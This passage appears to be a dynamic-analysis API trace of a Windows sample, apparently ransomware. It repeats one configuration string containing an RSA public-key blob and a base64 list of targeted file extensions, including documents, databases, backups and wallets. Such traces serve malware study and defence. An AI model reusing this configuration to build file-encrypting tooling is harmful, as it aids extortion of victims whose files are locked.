ZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.466] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.466] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.466] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.466] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsI